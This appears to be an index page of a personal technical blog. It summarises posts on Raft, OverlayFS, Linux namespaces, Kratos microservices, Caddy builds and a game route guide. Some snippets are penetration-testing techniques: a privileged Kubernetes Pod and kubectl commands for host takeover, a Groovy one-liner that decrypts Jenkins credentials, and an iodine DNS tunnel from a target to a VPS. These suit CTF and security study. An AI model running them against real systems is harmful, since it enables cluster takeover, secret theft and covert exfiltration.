Echo Siren Technical Blog
website·Indexed 30 days ago
https://echo.siren.blueA technical blog featuring write-ups on CTF competitions (CISCN 2025), penetration testing workflows (Neo4j, Jenkins, Redis, Shiro), and systems programming. Content includes analyses of Go 1.23 compiler principles, container internals (namespaces and cgroups), Raft consensus algorithm interpretations, and Arch Linux configuration guides.
What's inside Echo Siren
- Raft is a consensus algorithm designed for managing a replicated log across a cluster of machines to ensure data consistency and fault tolerance. It is designed as an alternative to Paxos, prioritizing understandability and ease of implementation. Raft decomposes the consensus problem into three independent modules: Leader Election, Log Replication, and Safety. The system remains available as long as a majority of nodes are functional and can communicate with each other.
Understand Docker's Layered Filesystem and OverlayFS
Docker uses a combination of layered images, union mounts, and Copy-on-Write (CoW) to manage storage. The
rootfsis the root directory seen by the container process, typically created by mounting a directory viapivot_rootorchroot.OverlayFS uses three main directory types:
- lowerdir: Read-only image layers (colon-separated).
- upperdir: The writable layer where changes are stored.
- workdir: Internal directory for CoW operations.
- merged: The final unified view presented to the container.
Read/Write Behavior:
- Read: Checks
upperdirfirst, then searcheslowerdirlayers in order. - Write: If a file exists only in
lowerdir, it is copied toupperdirbefore being modified (Copy-on-Write). - Delete: A
whiteoutfile is created inupperdirto hide the file inlowerdir.
# Manual OverlayFS mount example mount -t overlay overlay \ -o lowerdir=<layer1>:<layer2>,\ upperdir=<container_diff_path>/diff,\ workdir=<container_diff_path>/work \ <merged_mount_point> # Inspect current overlay mounts mount | grep overlayUnderstand SQL Window Functions
Window functions (also known as analytic functions) perform calculations across a set of table rows that are related to the current row. Unlike standard aggregate functions (e.g., SUM, AVG, COUNT) used withGROUP BY, which collapse multiple rows into a single summary row, window functions do not change the number of rows in the result set. Instead, they add a calculated value to each individual row based on its defined window.Project structure for Kratos-based IM system
The project follows a microservices architecture using the Kratos framework. Each service (e.g.,user,relation) is organized into a dedicated directory containing its own Dockerfile, Makefile, configuration, and internal logic. Theinternaldirectory is further subdivided intobiz(business logic),conf(configuration),data(persistence/repository),server(transport layers), andservice(API implementation). Common utilities are shared in thepkgdirectory, and Protobuf definitions are managed inthird_partyand service-specificapifolders.├── pkg/ # Shared packages (idgen, jwtx, mq, password, redis) ├── third_party/ # External proto definitions (google, validate, openapi) └── [service_name]/ # Microservice directory ├── cmd/ # Entry point and dependency injection (wire) ├── configs/ # Service configuration (yaml) ├── ent/ # Ent framework schema and generated clients └── internal/ # Private application code ├── biz/ # Domain business logic ├── conf/ # Config proto and generated Go code ├── data/ # Data access layer ├── server/ # HTTP and gRPC server setup └── service/ # Service implementationProject directory structure for the Kratos-based IM system
The project follows a microservice architecture using the Kratos framework. The root directory is organized into API definitions, gateway configuration, and individual application services. Each service (e.g., connect, conversation, media, message, push, relation) follows a consistent internal structure separating business logic (biz), data access (data), server implementation (server), and service layer (service).. ├── api/ # Protobuf definitions (v1) for all services │ ├── connect │ ├── conversation │ ├── media │ ├── message │ ├── push │ ├── relation │ └── user ├── apisix/ # Gateway configuration (APISIX) └── app/ # Microservice implementations ├── [service_name]/ │ ├── cmd/ # Entry points and dependency injection (wire.go) │ ├── configs/ # Service configuration (config.yaml) │ └── internal/ │ ├── biz/ # Business logic │ ├── conf/ # Service-specific config protobufs │ ├── data/ # Data access and external clients (e.g., Kafka, gRPC clients) │ ├── server/ # Transport layer (HTTP, gRPC, WebSocket) │ └── service/ # Service implementation layerScaffold an IM system using Kratos CLI
To initialize the microservice architecture for an instant messaging (IM) system using the Kratos framework, create the following service components. The--nomodflag is used to skip automatic module initialization during the creation process.kratos new app/gateway --nomod kratos new app/user --nomod kratos new app/relation --nomod kratos new app/conversation --nomod kratos new app/message --nomod kratos new app/media --nomodUnderstand Container Isolation via Linux Namespaces
Containers achieve isolation by using Linux Namespaces, which make processes believe they are running on an independent host. Key namespaces include:
- PID: Isolates process IDs.
- Network: Isolates network interfaces and routing.
- Mount: Isolates mount points.
- IPC: Isolates inter-process communication.
- UTS: Isolates hostname and domain name.
- User: Isolates user and group IDs.
- Cgroup: Isolates cgroup root views (Linux ≥4.6).
- Time: Isolates system time (Linux ≥5.6).
In Linux, Docker shares the host kernel. On macOS/Windows, Docker runs inside a LinuxKit VM.
CLONE_NEWNS /* Mount namespace */ CLONE_NEWUTS /* UTS namespace */ CLONE_NEWIPC /* IPC namespace */ CLONE_NEWUSER /* User namespace */ CLONE_NEWNET /* Network namespace */ CLONE_NEWCGROUP /* cgroup namespace (Linux ≥4.6) */ CLONE_NEWTIME /* Time namespace (Linux ≥5.6) */Take over Kubernetes cluster via privileged Pod
Usingkubectlwith the--insecure-skip-tls-verifyflag, a privileged Pod can be created to mount the host root filesystem, allowing for host-level access (e.g., writing a public key to the host).apiVersion: v1 kind: Pod metadata: name: pod labels: app: pod spec: containers: - name: pod image: nginx:1.8 imagePullPolicy: IfNotPresent volumeMounts: - name: hostvolume mountPath: /pod ports: - containerPort: 80 securityContext: privileged: true volumes: - name: hostvolume hostPath: path: /# Create the pod kubectl --server=https://172.22.14.37:6443 --insecure-skip-tls-verify create -f /tmp/a.yaml # Execute into the pod kubectl --server=https://172.22.14.37:6443 --insecure-skip-tls-verify exec -it pod -- '/bin/bash'Build Caddy with custom modules using xcaddy
Usexcaddy buildto compile a custom Caddy binary including specific plugins. You can automate the versioning by fetching the latest release tag from the GitHub API.# Automatically get the latest version tag export version=$(curl -s "https://api.github.com/repos/caddyserver/caddy/releases/latest" | jq -r .tag_name) # Build Caddy with a set of common modules (DNS, Auth, Geolocation, etc.) xcaddy build v2.7.5 \ --output ./caddy_v2.7.5 \ --with github.com/abiosoft/caddy-exec \ --with github.com/caddy-dns/cloudflare \ --with github.com/caddy-dns/dnspod \ --with github.com/caddy-dns/duckdns \ --with github.com/caddy-dns/gandi \ --with github.com/caddy-dns/route53 \ --with github.com/greenpau/caddy-authorize \ --with github.com/greenpau/caddy-auth-portal \ --with github.com/greenpau/caddy-trace \ --with github.com/hairyhenderson/caddy-teapot-module \ --with github.com/kirsch33/realip \ --with github.com/porech/caddy-maxmind-geolocation \ --with github.com/caddyserver/transform-encoder \ --with github.com/mholt/caddy-webdavDecrypt Jenkins credentials using Groovy script
Jenkins encrypts secrets (such as GitLab API tokens) incredentials.xml. These can be decrypted by executing a Groovy script within the Jenkins Script Console using thehudson.util.Secretclass.println(hudson.util.Secret.fromString("{ENCRYPTED_TOKEN}").getPlainText())Establish DNS Tunneling with iodine
Useiodineto create a DNS tunnel for network proxying when direct IP access is restricted.# On the target server (Client) chmod +x /tmp/iodine nohup sleep 10 && /tmp/iodine -f -P <password> <dns_server_hostname> & # On the VPS (Server) iodined -f -c -P <password> <internal_tunnel_ip> <dns_server_hostname> -DDComplete Tsumugi Wendes Route
To complete Tsumugi's route and unlock her ending, follow the specific map locations and dialogue choices starting from July 29th. It is recommended to complete this route before Ao's route to collect all CGs.Key Choices:
- July 29: AM: Kamome (Village Office) / PM: Tsumugi (Lighthouse) -> 'I'm looking for something too', 'Help her pick up trash'
- July 30: AM: Kamome (Village Office) -> 'Help' / PM: Tsumugi (Lighthouse) -> 'Help her move things', 'I'll find it myself'
- Aug 1: PM: Tsumugi (Lighthouse) -> 'Let's make it bigger together!'
- Aug 5: PM: Tsumugi (Lighthouse) -> 'Call me My Darling' (Unlocks Title NO.076)
- Aug 7: Choice 'Touch her chest' (Unlocks Title NO.077)
- Aug 9: Choice 'Like'
- Aug 11: (Unlocks Title NO.078)
- Aug 13: Choice 'I like Tsumugi's breasts' -> Tsumugi END (Title NO.0119)